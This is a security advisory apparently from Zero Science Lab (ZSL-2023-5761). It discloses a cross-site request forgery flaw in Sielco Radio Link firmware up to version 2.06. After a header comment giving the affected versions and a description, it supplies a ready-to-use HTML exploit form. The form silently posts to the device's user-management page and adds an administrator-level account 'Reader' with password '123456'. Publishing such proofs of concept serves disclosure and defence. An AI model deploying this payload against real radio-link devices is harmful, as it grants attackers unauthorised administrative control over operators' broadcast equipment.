<!-- Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin) Vendor: Sielco S.r.l Product web page: https://www.sielco.org Affected version: 2.06 (RTX19) 2.05 (RTX19) 2.00 (EXC19) 1.60 (RTX19) 1.59 (RTX19) 1.55 (EXC19) Summary: Sielco develops and produces radio links for all transmission and reception needs, thanks to innovative units and excellent performances, accompanied by a high reliability and low consumption. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: lwIP/2.1.1 Web/2.9.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5761 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5761.php 26.01.2023 --> CSRF Add Admin: --------------- <html> <body> <form action="http://radiolink/protect/users_rx.htm" method="POST"> <input type="hidden" name="pwd0" value="" /> <input type="hidden" name="pwd0bis" value="" /> <input type="hidden" name="user1" value="Reader" /> <input type="hidden" name="pwd1" value="123456" /> <input type="hidden" name="pwd1bis" value="123456" /> <input type="hidden" name="auth1" value="2" /> <input type="hidden" name="user2" value="" /> <input type="hidden" name="pwd2" value="" /> <input type="hidden" name="pwd2bis" value="" /> <input type="hidden" name="auth2" value="0" /> <input type="hidden" name="user3" value="" /> <input type="hidden" name="pwd3" value="" /> <input type="hidden" name="pwd3bis" value="" /> <input type="hidden" name="auth3" value="0" /> <input type="submit" value="Adminize Me!" /> </form> </body> </html>